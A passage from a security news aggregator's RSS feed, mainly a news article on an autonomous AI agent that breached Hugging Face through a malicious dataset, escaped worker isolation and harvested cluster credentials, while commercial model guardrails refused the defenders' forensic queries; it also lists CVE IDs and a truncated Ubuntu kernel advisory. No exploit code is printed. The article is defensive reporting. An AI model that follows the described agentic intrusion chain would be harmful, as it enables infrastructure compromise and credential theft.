CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052,
CVE-2026-46053, CVE-2026-46054, CVE-2026-46056, CVE-2026-46057,
CVE-2026-46058, CVE-2026-46059, CVE-2026-46060, CVE-2026-46061,
CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065,
CVE-2026-46066, CVE-2026-46067, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46071, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46074, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077,
CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46081,
CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46085,
CVE-2026-46086, CVE-2026-46087, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46093,
CVE-2026-46094, CVE-2026-46095, CVE-2026-46096, CVE-2026-46097,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46100, CVE-2026-46101,
CVE-2026-46102, CVE-2026-46103, CVE-2026-46104, CVE-2026-46105,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46109,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46118, CVE-2026-46119, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46140, CVE-2026-46141,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46147, CVE-2026-46148, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46153,
CVE-2026-46154, CVE-2026-46155, CVE-2026-46156, CVE-2026-46157,
CVE-2026-46158, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46162, CVE-2026-46163, CVE-2026-46164, CVE-2026-46165,
CVE-2026-46166, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46170, CVE-2026-46171, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46175, CVE-2026-46176, CVE-2026-46177,
CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46181,
CVE-2026-46182, CVE-2026-46183, CVE-2026-46184, CVE-2026-46185,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46202, CVE-2026-46203, CVE-2026-46204, CVE-2026-46205,
CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209,
CVE-2026-46210, CVE-2026-46211, CVE-2026-46212, CVE-2026-46213,
CVE-2026-46214, CVE-2026-46215, CVE-2026-46216, CVE-2026-46218,
CVE-2026-46219, CVE-2026-46220, CVE-2026-46221, CVE-2026-46222,
CVE-2026-46223, CVE-2026-46224, CVE-2026-46225, CVE-2026-46226,
CVE-2026-46227, CVE-2026-46228, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46239,
CVE-2026-46240, CVE-2026-46241, CVE-2026-46242, CVE-2026-46243,
CVE-2026-46244, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46276, CVE-2026-46277, CVE-2026-46278, CVE-2026-46279,
CVE-2026-46280, CVE-2026-46281, CVE-2026-46282, CVE-2026-46283,
CVE-2026-46284, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46288, CVE-2026-46289, CVE-2026-46290, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46295,
CVE-2026-46296, CVE-2026-46297, CVE-2026-46298, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46302, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46305, CVE-2026-46306, CVE-2026-46307, CVE-2026-46308,
CVE-2026-46309, CVE-2026-46310, CVE-2026-46311, CVE-2026-46312,
CVE-2026-46313, CVE-2026-46314, CVE-2026-46315, CVE-2026-46316,
CVE-2026-46317, CVE-2026-46318, CVE-2026-46319, CVE-2026-46320,
CVE-2026-46321, CVE-2026-46322, CVE-2026-46323, CVE-2026-46324,
CVE-2026-46332, CVE-2026-52904, CVE-2026-52905, CVE-2026-52906,
CVE-2026-52907, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52933,
CVE-2026-52934, CVE-2026-52936, CVE-2026-52937, CVE-2026-52941,
CVE-2026-52943, CVE-2026-52944, CVE-2026-52949, CVE-2026-52950,
CVE-2026-52951, CVE-2026-52952, CVE-2026-52953, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52956, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52959, CVE-2026-52960, CVE-2026-52961, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52964, CVE-2026-52965, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52971,
CVE-2026-52973, CVE-2026-52974, CVE-2026-52975, CVE-2026-52976,
CVE-2026-52977, CVE-2026-52978, CVE-2026-52979, CVE-2026-52980,
CVE-2026-52981, CVE-2026-52982, CVE-2026-52983, CVE-2026-52984,
CVE-2026-52985, CVE-2026-52986, CVE-2026-52987, CVE-2026-52988,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52991, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52994, CVE-2026-52995, CVE-2026-52996,
CVE-2026-52997, CVE-2026-52998, CVE-2026-52999, CVE-2026-53000,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53005, CVE-2026-53006, CVE-2026-53007, CVE-2026-53008,
CVE-2026-53009, CVE-2026-53010, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016,
CVE-2026-53017, CVE-2026-53018, CVE-2026-53019, CVE-2026-53020,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53024,
CVE-2026-53025, CVE-2026-53026, CVE-2026-53027, CVE-2026-53028,
CVE-2026-53029, CVE-2026-53030, CVE-2026-53031, CVE-2026-53032,
CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036,
CVE-2026-53037, CVE-2026-53038, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53042, CVE-2026-53043, CVE-2026-53044,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53051, CVE-2026-53052,
CVE-2026-53053, CVE-2026-53054, CVE-2026-53055, CVE-2026-53056,
CVE-2026-53057, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53066, CVE-2026-53067, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53070, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53078, CVE-2026-53079, CVE-2026-53080,
CVE-2026-53081, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53087, CVE-2026-53088,
CVE-2026-53089, CVE-2026-53090, CVE-2026-53091, CVE-2026-53092,
CVE-2026-53093, CVE-2026-53094, CVE-2026-53095, CVE-2026-53096,
CVE-2026-53097, CVE-2026-53098, CVE-2026-53099, CVE-2026-53100,
CVE-2026-53101, CVE-2026-53102, CVE-2026-53103, CVE-2026-53104,
CVE-2026-53105, CVE-2026-53106, CVE-2026-53107, CVE-2026-53108,
CVE-2026-53109, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112,
CVE-2026-53113, CVE-2026-53114, CVE-2026-53115, CVE-2026-53116,
CVE-2026-53117, CVE-2026-53118, CVE-2026-53119, CVE-2026-53120,
CVE-2026-53121, CVE-2026-53122, CVE-2026-53123, CVE-2026-53124,
CVE-2026-53125, CVE-2026-53126, CVE-2026-53127, CVE-2026-53128,
CVE-2026-53129, CVE-2026-53130, CVE-2026-53174, CVE-2026-53277,
CVE-2026-53278, CVE-2026-53279, CVE-2026-53280, CVE-2026-53281,
CVE-2026-53282, CVE-2026-53283, CVE-2026-53284, CVE-2026-53285,
CVE-2026-53286, CVE-2026-53287, CVE-2026-53288, CVE-2026-53289,
CVE-2026-53290, CVE-2026-53291, CVE-2026-53292, CVE-2026-53293,
CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53297,
CVE-2026-53298, CVE-2026-53299, CVE-2026-53300, CVE-2026-53301,
CVE-2026-53302, CVE-2026-53303, CVE-2026-53304, CVE-2026-53305,
CVE-2026-53306, CVE-2026-53307, CVE-2026-53308, CVE-2026-53309,
CVE-2026-53310, CVE-2026-53311, CVE-2026-53312, CVE-2026-53313,
CVE-2026-53314, CVE-2026-53315, CVE-2026-53316, CVE-2026-53317,
CVE-2026-53318, CVE-2026-53319, CVE-2026-53320, CVE-2026-53321,
CVE-2026-53322, CVE-2026-53323, CVE-2026-53324, CVE-2026-53357,
CVE-2026-53358, CVE-2026-53360, CVE-2026-53364, CVE-2026-53365)]]></content:encoded>
</item>
<item>
<title><![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]></title>
<description><![CDATA[Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploi...]]></description>
<link>https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.</p><p>The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.</p><p>Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.</p><p>None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”</p><h2><b>A malicious dataset opened two code-execution paths</b></h2><p>On July 16, Hugging Face <a href="https://huggingface.co/blog/security-incident-july-2026">disclosed</a> that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. </p><p>Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.</p><p>The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.</p><p>Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. </p><h2><b>Why the defenders’ queries looked like attacks</b></h2><p>Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.</p><p>First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.</p><p>Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”</p><h2><b>The forensic analysis finished on GLM 5.2</b></h2><p>GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.</p><h2><b>What authenticated trust changes</b></h2><p>The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”</p><p>“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”</p><p>Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”</p><h2><b>AI-enabled attacks rose 89% year-over-year</b></h2><p>Autonomous AI-driven attacks are not limited to AI platforms. <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2026 Global Threat Report</a> documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.</p><p>Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.</p><h2><b>AI Pipeline Breach Response Playbook</b></h2><table><tbody><tr><td><p><b>Control Domain</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Monday Action</b></p></td></tr><tr><td><p>Dataset admission controls</p></td><td><p>Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.</p></td><td><p>Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.</p></td></tr><tr><td><p>Worker-to-node privilege boundaries</p></td><td><p>Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.</p></td><td><p>Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.</p></td></tr><tr><td><p>Credential exposure</p></td><td><p>Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.</p></td><td><p>Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.</p></td></tr><tr><td><p>Machine-speed detection</p></td><td><p>Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.</p></td><td><p>Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.</p></td></tr><tr><td><p>Private AI forensic capacity</p></td><td><p>Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.</p></td><td><p>Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.</p></td></tr><tr><td><p>Autonomous-agent threat modeling</p></td><td><p>The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.</p></td><td><p>Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.</p></td></tr></tbody></table><h2><b>The board question is operational resilience</b></h2><p>“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. </p><p>She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.</p><p>“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. </p><p>Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”</p><p>Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.</p>]]></content:encoded>
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<title><![CDATA[USN-8567-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 17:46:49 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
